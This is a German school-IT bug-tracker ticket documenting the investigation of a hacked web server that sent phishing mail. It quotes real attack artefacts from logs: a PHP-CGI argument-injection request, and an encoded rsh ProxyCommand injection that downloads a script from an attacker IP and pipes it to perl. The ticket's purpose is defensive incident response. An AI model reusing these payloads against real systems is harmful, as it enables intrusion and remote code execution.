close Warning: Can't synchronize with repository "keplertools" (/srv/svn/keplertools does not appear to be a Subversion repository.). Look in the Trac log for more information.

Opened 8 years ago

Closed 8 years ago

#3128 closed Defekt (erledigt)

Postmaster-Nachrichten fluten Mail-Account von root

Reported by: Rüdiger Kupper Owned by: bau
Priority: unverzüglich erledigen Milestone: Schuljahr 2018/19
Component: Webdienst: Mail Severity: beeinträchtigt den Unterricht vieler Lehrer
Keywords: Cc:

Description

Ich lasse die Nachrichten von root@… an mein Mail-Account weiterleiten und kann mich gerade nicht retten vor Mails über unzustellbare Nachrichten. Sie kommen vom Postmaster von BelWue, aber auch von einem italienischen Mail-Dienst.
Jemand versucht minütlich, aus unserem Netzwerk heraus Mail an a@a zu versenden.

Woher kommen diese Mailaufträge und wie können wir sie abstellen?

Change History (38)

comment:1 by Rüdiger Kupper, 8 years ago

Component: sonstiges → Mail
Owner: changed from netzwerk to bau
Priority: normal → hoch
Severity: normal → unkritisch

comment:2 by Rüdiger Kupper, 8 years ago

Priority: hoch → höchste
Severity: unkritisch → kritisch

Oh, wie ich sehe, gehen nur manche Mails an "a@a". Die meisten gehen an individuelle Mailadressen, alle in Italien.

Das sieht mir doch sehr so aus, als ob jemand von unserem Netz aus Massenmails verschickt! Das ist allerdings schon kritischer. Vielleicht hat ein Kollege sich Malware eingefangen?

comment:3 by Rüdiger Kupper, 8 years ago

Ja, definitiv: Der Text der Mail behauptet von der italienischen Post zu sein und besagt, dass die Bankkarte des Nutzers gesperrt ist und er sie entsperren muss, indem er auf den mitgelieferten Link drückt.

Dei Header lassen auf outlook schließen:

Reporting-MTA: dns; smtp01.belwue.de
X-Postfix-Queue-ID: ECEC92472
X-Postfix-Sender: rfc822; www-data@kg-fds.de
Arrival-Date: Mon, 11 Mar 2019 16:03:02 +0100 (MET)

Final-Recipient: rfc822; andrea.locicero@live.it
Original-Recipient: rfc822;andrea.locicero@live.it
Action: failed
Status: 5.5.0
Remote-MTA: dns; eur.olc.protection.outlook.com
Diagnostic-Code: smtp; 550 5.5.0 Requested action not taken: mailbox
    unavailable.

Oder heißt das nur, dass der Empfänger Outlook verwendet?

Wie unterbinden wir das?

comment:4 by Rüdiger Kupper, 8 years ago

Absender: "www-data@…"
Ähhh...

comment:5 by Rüdiger Kupper, 8 years ago

Ist unser Webserver infiziert?

comment:6 by bau, 8 years ago

auf dem paedml laufen haufenweise Prozesse von www-data mit dem Titel sync_supers,
da wurde laut Netzrecherche eine index.php in unserem System gehackt.

www-data 11797  0.1  0.0  23704  2664 ?        S    Feb20  34:58 [sync_supers]
www-data 11799  0.1  0.0  23704  2672 ?        S    Feb20  47:35 [sync_supers]
www-data 11801  0.1  0.0  23704  2724 ?        S    Feb20  34:55 [sync_supers]

Ich habe die Prozesse gekillt - suche nach der Quelle des Übels!

comment:7 by bau, 8 years ago

mailq war von BelWUE blockiert (keine Mails von www-data gingen mehr raus).
Ich habe die mailq geleert:

 mailq | tail -n +2 | grep -v '^ *(' | awk  'BEGIN { RS = "" }
                  # $7=sender, $8=recipient1, $9=recipient2
                  { if ($7 == "www-data@kg-fds.de" && $9 == "")
                        print $1 }
               ' | tr -d '*!' | postsuper -d -

comment:8 by bau, 8 years ago

Erste Hilfe Maßnahme:
Apache2 aus den Paketquellen upgedatet.

aptitude update
aptitude upgrade

comment:9 by bau, 8 years ago

ToDo: Beobachten, ob

  • www-data unerlaubte Prozesse startet
  • mailq volläuft
  • www-data in /var/log/mail.log Zeugs nach Italien schickt
    • DANN: in /var/log/apache2/access.log nachsehen, was da aufgerufen wurde

comment:10 by bau, 8 years ago

BelWUE blockiert den Absender www-data@… anscheinend noch einige Zeit.
Ich habe deshalb die Absenderadresse der Mails aus dem Kepler-Login angepasst.

comment:11 by Rüdiger Kupper, 8 years ago

Die Prozesse hatte ich auch gesehen, wusste aber nicht, was sie tun (doof ;-) ).
Hatte den Apache neu gestartet, doch das hat nichts gebracht.

Wo hast Du die Informationen gefunden?

comment:12 by Rüdiger Kupper, 8 years ago

Okay, habe gelesen:
​https://www.howtoforge.com/community/threads/server-hacked-using-www-data-exploit.63740/

Und darauf hin in den Apache-access-logs gesucht und bin fündig geworden. Demnach müsste der Angriff im Juli und August passiert sein:

10:52/0 paedml /var/log/apache2 # grep "%63%67%69" access.log.*
access.log.31:218.75.230.5 - - [09/Aug/2018:14:34:24 +0200] "POST //%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 404 277 "-" "-"
access.log.32:139.219.100.104 - - [30/Jul/2018:08:35:22 +0200] "POST //%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 404 277 "-" "-"
access.log.33:139.219.100.104 - - [23/Jul/2018:06:21:29 +0200] "POST //%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 404 277 "-" "-"
access.log.34:61.135.202.23 - - [17/Jul/2018:05:47:14 +0200] "POST //%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 404 277 "-" "-"
access.log.34:139.219.100.104 - - [21/Jul/2018:07:48:58 +0200] "POST //%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 404 277 "-" "-"
access.log.36:139.219.100.104 - - [06/Jul/2018:11:19:37 +0200] "POST //%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 404 277 "-" "-"

Der codierte URL-String steht für:

"POST //cgi-bin/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -d auto_prepend_file=php://input -n HTTP/1.1" 404 277 "-" "-"

Die POST-Anfragen kamen von diesen IPs:
218.75.230.5, 139.219.100.104, 61.135.202.23

comment:13 by Rüdiger Kupper, 8 years ago

Außerdem läuft in den letzten Tagen ein brute-force-Angriff per ssh auch nicht sehr vertrauenerweckend. Ob die beiden Sachen allerdings zusammenhängen, weiß ich nicht:

1:17/0 paedml /var/log/apache2 # grep "Invalid user" /var/log/auth.log
Mar 12 04:46:41 paedml sshd[10819]: Invalid user lorenzo from 35.189.237.181
Mar 12 04:54:56 paedml sshd[11952]: Invalid user admin from 176.126.166.39
Mar 12 04:59:38 paedml sshd[12702]: Invalid user mc from 157.230.11.50
Mar 12 04:59:44 paedml sshd[12704]: Invalid user mc from 129.150.86.200
Mar 12 05:01:18 paedml sshd[12897]: Invalid user ci from 207.154.246.140
Mar 12 05:11:33 paedml sshd[14352]: Invalid user mongo from 62.210.152.16
Mar 12 05:13:19 paedml sshd[14679]: Invalid user ftp_user from 210.211.99.243
Mar 12 05:13:22 paedml sshd[14681]: Invalid user setup from 178.128.10.188
Mar 12 05:16:28 paedml sshd[15057]: Invalid user zabbix from 139.59.59.187
Mar 12 05:25:28 paedml sshd[16318]: Invalid user phion from 91.90.122.1
Mar 12 05:38:16 paedml sshd[18175]: Invalid user erik from 197.231.193.114
Mar 12 05:41:40 paedml sshd[18698]: Invalid user support from 138.197.180.16
Mar 12 05:43:25 paedml sshd[18907]: Invalid user hadoop from 178.62.57.230
Mar 12 05:47:45 paedml sshd[19530]: Invalid user sftp from 211.75.194.80
Mar 12 05:48:45 paedml sshd[19653]: Invalid user sftp from 14.18.235.254
Mar 12 05:49:28 paedml sshd[19695]: Invalid user vivek from 104.236.95.55
Mar 12 05:52:12 paedml sshd[20072]: Invalid user teamspeak3 from 175.136.25.138
Mar 12 05:52:22 paedml sshd[20075]: Invalid user support from 210.245.26.250
Mar 12 05:53:19 paedml sshd[20276]: Invalid user student from 106.12.10.158
Mar 12 05:54:07 paedml sshd[20408]: Invalid user support from 103.108.187.5
Mar 12 05:54:33 paedml sshd[20488]: Invalid user ubuntu from 80.95.188.129
Mar 12 05:58:08 paedml sshd[21030]: Invalid user yopless from 186.219.25.34
Mar 12 05:58:39 paedml sshd[21130]: Invalid user pentaho from 118.24.160.155
Mar 12 06:01:09 paedml sshd[21378]: Invalid user jim from 37.187.79.55
Mar 12 06:01:58 paedml sshd[21485]: Invalid user jim from 151.80.155.98
Mar 12 06:03:55 paedml sshd[21794]: Invalid user semenov from 177.19.181.10
Mar 12 06:04:48 paedml sshd[21928]: Invalid user support from 34.76.43.41
Mar 12 06:16:22 paedml sshd[24546]: Invalid user sandro from 80.6.162.204
Mar 12 06:17:06 paedml sshd[24685]: Invalid user sinusbot from 206.189.94.92
Mar 12 06:17:59 paedml sshd[24876]: Invalid user transmission from 119.90.36.251
Mar 12 06:21:55 paedml sshd[25372]: Invalid user setup from 183.252.15.133
Mar 12 06:22:06 paedml sshd[25381]: Invalid user oracle from 122.176.98.239
Mar 12 06:26:42 paedml sshd[26145]: Invalid user oracle from 170.239.255.14
Mar 12 06:30:14 paedml sshd[26936]: Invalid user administrador from 197.253.6.249
Mar 12 06:30:49 paedml sshd[27705]: Invalid user administrador from 213.6.8.38
Mar 12 06:37:06 paedml sshd[1123]: Invalid user user from 107.170.231.42
Mar 12 06:38:41 paedml sshd[1463]: Invalid user fawst from 120.92.122.133
Mar 12 06:39:18 paedml sshd[1568]: Invalid user smb from 175.143.127.73
Mar 12 06:44:36 paedml sshd[2469]: Invalid user admin from 139.59.17.173
Mar 12 06:45:17 paedml sshd[2490]: Invalid user oracle from 167.99.210.115
Mar 12 06:48:46 paedml sshd[3019]: Invalid user danieluser from 202.96.50.229
Mar 12 06:49:42 paedml sshd[3164]: Invalid user team2 from 218.164.2.141
Mar 12 06:52:50 paedml sshd[3550]: Invalid user sysadmin from 144.217.241.40
Mar 12 06:54:17 paedml sshd[3788]: Invalid user capanni from 220.83.161.249
Mar 12 06:54:29 paedml sshd[3794]: Invalid user team3 from 45.124.52.213
Mar 12 06:54:45 paedml sshd[3990]: Invalid user data from 150.109.101.46
Mar 12 06:54:57 paedml sshd[4000]: Invalid user sysadmin from 118.25.10.242
Mar 12 07:01:45 paedml sshd[4989]: Invalid user gestore from 91.183.90.237
Mar 12 07:06:18 paedml sshd[5573]: Invalid user maciek from 37.139.27.177
Mar 12 07:06:20 paedml sshd[5575]: Invalid user testftp from 66.70.162.240
Mar 12 07:07:13 paedml sshd[5689]: Invalid user sk from 68.183.133.21
Mar 12 07:08:45 paedml sshd[6016]: Invalid user sk from 210.14.77.102
Mar 12 07:09:47 paedml sshd[6207]: Invalid user sk from 111.231.88.23
Mar 12 07:12:05 paedml sshd[6615]: Invalid user support from 175.138.52.115
Mar 12 07:12:24 paedml sshd[6638]: Invalid user user from 188.131.181.224
Mar 12 07:12:24 paedml sshd[6642]: Invalid user rancid from 103.97.128.47
Mar 12 07:12:53 paedml sshd[6821]: Invalid user webmaster from 173.249.37.135
[...]

Der Angriff läuft mindestens seit letzten Donnerstag (7.3.). So weit reichen die access.logs. Möglicherweise also schon länger.

comment:14 by bau, 8 years ago

Nun - ssh-Angriff recht sinnlos, da nur vier User überhaupt erlaubt sind und die Benutzung von Keys vorgeschrieben ist, da können wir glaube ich recht gelassen bleiben. Immerhin hat der BOT den Port herausgefunden.

comment:15 by bau, 8 years ago

Im Apache-Log stehen auch zahlreiche Angriffe aus China und der Türkei auf so Standard-Scripte wir PMA oder PHPMyAdmin - die testen einfach mal allerlei durch, ob sie da eine Standard-Login-Seite finden können - ist bei uns nicht der Fall!

comment:16 by bau, 8 years ago

Ich habe mal mod-security installiert - das muss dann aber erstmal sinnvoll konfiguriert werden.

in reply to:  14 comment:17 by Rüdiger Kupper, 8 years ago

Replying to bau:

Nun - ssh-Angriff recht sinnlos, da nur vier User überhaupt erlaubt sind und die Benutzung von Keys vorgeschrieben ist, da können wir glaube ich recht gelassen bleiben. Immerhin hat der BOT den Port herausgefunden.

Stimmt. Es sollten halt nur nicht so viele Anfragen sein, dass der paedml dadurch zu sehr belastet wird. Sieht aus, als kommen die Anfragen im Abstand von wenigen Minten, manchmal auch Sekunden.

comment:18 by bau, 8 years ago

Da hat schon wieder jemand was gestartet:

                                                                                                                                                                                           
www-data 19514  0.0  0.0  34012  2424 ?        S    09:38   0:00 /usr/bin/rsh M -oProxyCommand=echo$IFS$()a2lsbGFsbCAtOSBwZXJsIDsgd2dldCAtcU8gLSBodHRwOi8vMTg1LjIzNC4yMTguMjQ4L2J0Mi50eHR8cGVybA==|base64$IFS$()-d|sh -l www-data exec /usr/sbin/rimapd                        
www-data 19523 79.1  0.0  23704  3456 ?        R    09:38 363:47 [sync_supers]                                                                                                                                                                                                 
www-data 19535  0.0  0.0  34012  2428 ?        S    09:38   0:00 /usr/bin/rsh M -oProxyCommand=echo$IFS$()a2lsbGFsbCAtOSBwZXJsIDsgd2dldCAtcU8gLSBodHRwOi8vMTg1LjIzNC4yMTguMjQ4L2J0Mi50eHR8cGVybA==|base64$IFS$()-d|sh -l www-data exec /usr/sbin/rimapd                        
www-data 19545 79.5  0.0  23704  3452 ?        R    09:38 365:06 [sync_supers]      

comment:19 by bau, 8 years ago

Da ist der Übeltäter aus Irland:

185.234.218.248 - - [13/Mar/2019:09:38:00 +0100] "GET /horde3/imp/test.php HTTP/1.1" 200 1293 "-" "python-requests/2.21.0"

comment:20 by Rüdiger Kupper, 8 years ago

  • test.php löschen (besser: an sichere Stelle retten)
  • IP sperren - wie?

comment:21 by Rüdiger Kupper, 8 years ago

Ich fürchte, der Angreifer verschleiert seine IP. Vermutlich erfolgen diese Aufrufe von anderen infizierten Rechnern.

Last edited 8 years ago by Rüdiger Kupper (previous) (diff)

comment:22 by Rüdiger Kupper, 8 years ago

Wichtige Frage: Hatte der Angreifer root-Access?
Oder konnte nur www-data werden?

comment:23 by Rüdiger Kupper, 8 years ago

Typischerwiese nutzen Angreifer solche Lücken, um ein root-kit zu installieren.

Sollte das passiert sein, ist unser System ultimativ kompromittiert.
Dann ist die einzige Möglichkeit, es wieder sicher zu bekommen, Neuinstallation.

comment:24 by Rüdiger Kupper, 8 years ago

Konnte der Angreifer nur den Nutzer www-data impersonifizieren, haben wir Chancen.

comment:25 by bau, 8 years ago

  • Der Angreifer konnte nur www-data werden, da er sich über den Apache2 einegschleust hatte
  • das hat der zweimal diese Woche praktiziert:
    185.234.218.248 - - [11/Mar/2019:11:40:46 +0100] "GET /horde3/imp/test.php HTTP/1.1" 200 1293 "-" "python-requests/2.21.0"
    185.234.218.248 - - [11/Mar/2019:11:40:47 +0100] "POST /horde3/imp/test.php HTTP/1.1" 200 1349 "http://141.10.54.243:80/horde3/imp/test.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
    185.234.218.248 - - [13/Mar/2019:09:38:00 +0100] "GET /horde3/imp/test.php HTTP/1.1" 200 1293 "-" "python-requests/2.21.0"
    185.234.218.248 - - [13/Mar/2019:09:38:01 +0100] "POST /horde3/imp/test.php HTTP/1.1" 200 1368 "http://141.10.54.243:80/horde3/imp/test.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
    

Ich habe jetzt den einfachsten Weg gewählt:
Wer sich im Webmailer einloggen will, muss erstmal seinen Benutzername / Passwort eingeben - damit sind die Bösewichte von horde3 ausgeschlossen :-) [.htaccess-Datei in /usr/share/horde3]

comment:26 by bau, 8 years ago

Der Bösewicht war schon früher tätig:

/var/log/apache2/access.log.1:185.234.218.248 - - [04/Mar/2019:09:53:04 +0100] "GET /horde3/imp/test.php HTTP/1.1" 200 1293 "-" "python-requests/2.21.0"
/var/log/apache2/access.log.1:185.234.218.248 - - [04/Mar/2019:09:53:04 +0100] "POST /horde3/imp/test.php HTTP/1.1" 200 1351 "http://141.10.54.243:80/horde3/imp/test.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
/var/log/apache2/access.log.1:185.234.218.248 - - [04/Mar/2019:10:51:44 +0100] "GET /horde3/imp/test.php HTTP/1.1" 200 1293 "-" "python-requests/2.21.0"
/var/log/apache2/access.log.1:185.234.218.248 - - [04/Mar/2019:10:51:45 +0100] "POST /horde3/imp/test.php HTTP/1.1" 200 1353 "http://141.10.54.243:80/horde3/imp/test.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
/var/log/apache2/access.log.1:185.234.218.248 - - [05/Mar/2019:11:39:54 +0100] "GET /horde3/imp/test.php HTTP/1.1" 200 1293 "-" "python-requests/2.21.0"
/var/log/apache2/access.log.1:185.234.218.248 - - [05/Mar/2019:11:39:54 +0100] "POST /horde3/imp/test.php HTTP/1.1" 200 1353 "http://141.10.54.243:80/horde3/imp/test.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
/var/log/apache2/access.log.1:185.234.218.248 - - [05/Mar/2019:12:12:59 +0100] "GET /horde3/imp/test.php HTTP/1.1" 200 1293 "-" "python-requests/2.21.0"
/var/log/apache2/access.log.1:185.234.218.248 - - [05/Mar/2019:12:12:59 +0100] "POST /horde3/imp/test.php HTTP/1.1" 200 1351 "http://141.10.54.243:80/horde3/imp/test.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
/var/log/apache2/access.log.1:185.234.218.248 - - [05/Mar/2019:20:19:36 +0100] "GET /horde3/imp/test.php HTTP/1.1" 200 1293 "-" "python-requests/2.21.0"
/var/log/apache2/access.log.1:185.234.218.248 - - [05/Mar/2019:20:19:37 +0100] "POST /horde3/imp/test.php HTTP/1.1" 200 1351 "http://141.10.54.243:80/horde3/imp/test.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
/var/log/apache2/access.log.1:185.234.218.248 - - [06/Mar/2019:15:37:03 +0100] "GET /horde3/imp/test.php HTTP/1.1" 200 1293 "-" "python-requests/2.21.0"
/var/log/apache2/access.log.1:185.234.218.248 - - [06/Mar/2019:15:37:03 +0100] "POST /horde3/imp/test.php HTTP/1.1" 200 1350 "http://141.10.54.243:80/horde3/imp/test.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
/var/log/apache2/access.log.1:185.234.218.248 - - [06/Mar/2019:17:32:31 +0100] "GET /horde3/imp/test.php HTTP/1.1" 200 1293 "-" "python-requests/2.21.0"
/var/log/apache2/access.log.1:185.234.218.248 - - [06/Mar/2019:17:32:31 +0100] "POST /horde3/imp/test.php HTTP/1.1" 200 1349 "http://141.10.54.243:80/horde3/imp/test.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
/var/log/apache2/access.log.1:185.234.218.248 - - [07/Mar/2019:12:30:12 +0100] "GET /horde3/imp/test.php HTTP/1.1" 200 1293 "-" "python-requests/2.21.0"
/var/log/apache2/access.log.1:185.234.218.248 - - [07/Mar/2019:12:30:12 +0100] "POST /horde3/imp/test.php HTTP/1.1" 200 1350 "http://141.10.54.243:80/horde3/imp/test.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
/var/log/apache2/access.log.2.gz:185.234.218.248 - - [26/Feb/2019:12:15:58 +0100] "GET /horde3/imp/test.php HTTP/1.1" 200 1293 "-" "python-requests/2.21.0"
/var/log/apache2/access.log.2.gz:185.234.218.248 - - [26/Feb/2019:12:15:59 +0100] "POST /horde3/imp/test.php HTTP/1.1" 200 1351 "http://141.10.54.243:80/horde3/imp/test.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
/var/log/apache2/access.log.2.gz:185.234.218.248 - - [28/Feb/2019:10:55:36 +0100] "GET /horde3/imp/test.php HTTP/1.1" 200 1293 "-" "python-requests/2.21.0"
/var/log/apache2/access.log.2.gz:185.234.218.248 - - [28/Feb/2019:10:55:36 +0100] "POST /horde3/imp/test.php HTTP/1.1" 200 1351 "http://141.10.54.243:80/horde3/imp/test.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
/var/log/apache2/access.log.2.gz:185.234.218.248 - - [01/Mar/2019:12:25:32 +0100] "GET /horde3/imp/test.php HTTP/1.1" 200 1293 "-" "python-requests/2.21.0"
/var/log/apache2/access.log.2.gz:185.234.218.248 - - [01/Mar/2019:12:25:33 +0100] "POST /horde3/imp/test.php HTTP/1.1" 200 1351 "http://141.10.54.243:80/horde3/imp/test.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
/var/log/apache2/access.log.2.gz:185.234.218.248 - - [01/Mar/2019:14:07:16 +0100] "GET /horde3/imp/test.php HTTP/1.1" 200 1293 "-" "python-requests/2.21.0"
/var/log/apache2/access.log.2.gz:185.234.218.248 - - [01/Mar/2019:14:07:16 +0100] "POST /horde3/imp/test.php HTTP/1.1" 200 1351 "http://141.10.54.243:80/horde3/imp/test.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
/var/log/apache2/access.log.3.gz:185.234.218.248 - - [19/Feb/2019:11:33:22 +0100] "GET /horde3/imp/test.php HTTP/1.1" 200 1293 "-" "python-requests/2.19.1"
/var/log/apache2/access.log.3.gz:185.234.218.248 - - [19/Feb/2019:11:33:22 +0100] "POST /horde3/imp/test.php HTTP/1.1" 200 1351 "http://141.10.54.243:80/horde3/imp/test.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
/var/log/apache2/access.log.3.gz:185.234.218.248 - - [20/Feb/2019:11:28:00 +0100] "GET /horde3/imp/test.php HTTP/1.1" 200 1293 "-" "python-requests/2.19.1"
/var/log/apache2/access.log.3.gz:185.234.218.248 - - [20/Feb/2019:11:28:01 +0100] "POST /horde3/imp/test.php HTTP/1.1" 200 1351 "http://141.10.54.243:80/horde3/imp/test.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
/var/log/apache2/access.log.3.gz:185.234.218.248 - - [22/Feb/2019:10:35:11 +0100] "GET /horde3/imp/test.php HTTP/1.1" 200 1293 "-" "python-requests/2.19.1"
/var/log/apache2/access.log.3.gz:185.234.218.248 - - [22/Feb/2019:10:35:11 +0100] "POST /horde3/imp/test.php HTTP/1.1" 200 1350 "http://141.10.54.243:80/horde3/imp/test.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
/var/log/apache2/access.log.3.gz:185.234.218.248 - - [22/Feb/2019:11:44:10 +0100] "GET /horde3/imp/test.php HTTP/1.1" 200 1293 "-" "python-requests/2.19.1"
/var/log/apache2/access.log.3.gz:185.234.218.248 - - [22/Feb/2019:11:44:11 +0100] "POST /horde3/imp/test.php HTTP/1.1" 200 1352 "http://141.10.54.243:80/horde3/imp/test.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"

comment:27 by Rüdiger Kupper, 8 years ago

Wenn es diese Sicherheitslücke hier ist:

dann nutzt der Angreifer das IMAP-Formular auf dieser Seite:

​http://paedml.kg-fds.de/horde3/imp/test.php

Das Formular ist nicht sicher gegen Code-Injection.

Da diese Seite test.php nur zum Prüfen der Installation dient, kann sie auch entfernt werden, wie in ​https://www.exploit-db.com/exploits/46136 vorgeschlagen.

comment:28 by Rüdiger Kupper, 8 years ago

Dazu rät auch die Horde-Dokumentation:

